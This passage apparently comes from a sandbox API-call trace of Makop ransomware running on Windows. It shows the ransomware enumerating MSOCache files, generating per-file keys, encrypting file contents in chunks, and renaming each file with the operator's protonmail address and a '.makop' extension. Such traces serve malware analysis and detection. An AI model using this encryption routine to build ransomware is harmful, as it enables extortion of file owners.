nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.643] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.643] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.644] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.644] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.644] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.644] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.644] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa0200, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xa0200, lpOverlapped=0x0) returned 1 [0077.664] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xa0200, dwBufLen=0xa0200 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xa0200) returned 1 [0077.673] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.673] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa0200, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xa0200, lpOverlapped=0x0) returned 1 [0077.678] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.678] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa02d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.678] SetEndOfFile (hFile=0x124) returned 1 [0077.688] GetProcessHeap () returned 0x48a0000 [0077.688] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.688] GetProcessHeap () returned 0x48a0000 [0077.688] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.688] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0077.688] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.701] CloseHandle (hObject=0x124) returned 1 [0077.701] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0077.702] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.702] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.702] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=14127746) returned 1 [0077.702] GetProcessHeap () returned 0x48a0000 [0077.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.702] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.702] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.703] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0xe, lpOverlapped=0x0) returned 1 [0077.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0077.708] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.708] GetProcessHeap () returned 0x48a0000 [0077.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.708] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0077.708] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.708] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0077.708] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0077.709] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0077.709] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0077.709] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.709] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0077.709] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0077.709] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.709] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0077.710] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0077.724] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0077.726] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.726] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0077.729] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.729] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0077.729] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0077.729] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0077.741] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0077.744] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.744] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0077.746] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.747] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0077.747] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd39290, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0077.747] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0077.755] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0077.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd39290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.758] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0077.760] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.760] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0077.761] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.761] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.761] SetEndOfFile (hFile=0x124) returned 1 [0077.771] GetProcessHeap () returned 0x48a0000 [0077.771] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.771] GetProcessHeap () returned 0x48a0000 [0077.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.772] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0077.772] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.773] CloseHandle (hObject=0x124) returned 1 [0077.773] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0077.773] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.773] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.773] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=3702272) returned 1 [0077.774] GetProcessHeap () returned 0x48a0000 [0077.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.774] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.774] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0077.774] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.774] GetProcessHeap () returned 0x48a0000 [0077.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.774] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0077.774] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.774] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0077.779] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0077.779] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0077.780] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0077.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.780] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0077.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0077.780] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0077.780] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0077.794] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0077.797] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.798] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0077.800] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.800] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0077.800] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0077.800] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0077.822] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0077.826] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.826] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0077.829] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.829] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0077.829] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0077.829] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0077.837] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0077.840] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.840] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0077.843] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.843] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0077.843] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.843] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.843] SetEndOfFile (hFile=0x124) returned 1 [0077.850] GetProcessHeap () returned 0x48a0000 [0077.850] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.850] GetProcessHeap () returned 0x48a0000 [0077.850] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.850] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0077.850] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.851] CloseHandle (hObject=0x124) returned 1 [0077.852] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0077.852] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0077.852] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.852] GetProcessHeap () returned 0x48a0000 [0077.852] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.852] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.852] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.852] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xb, lpOverlapped=0x0) returned 1 [0077.860] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.861] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.861] GetProcessHeap () returned 0x48a0000 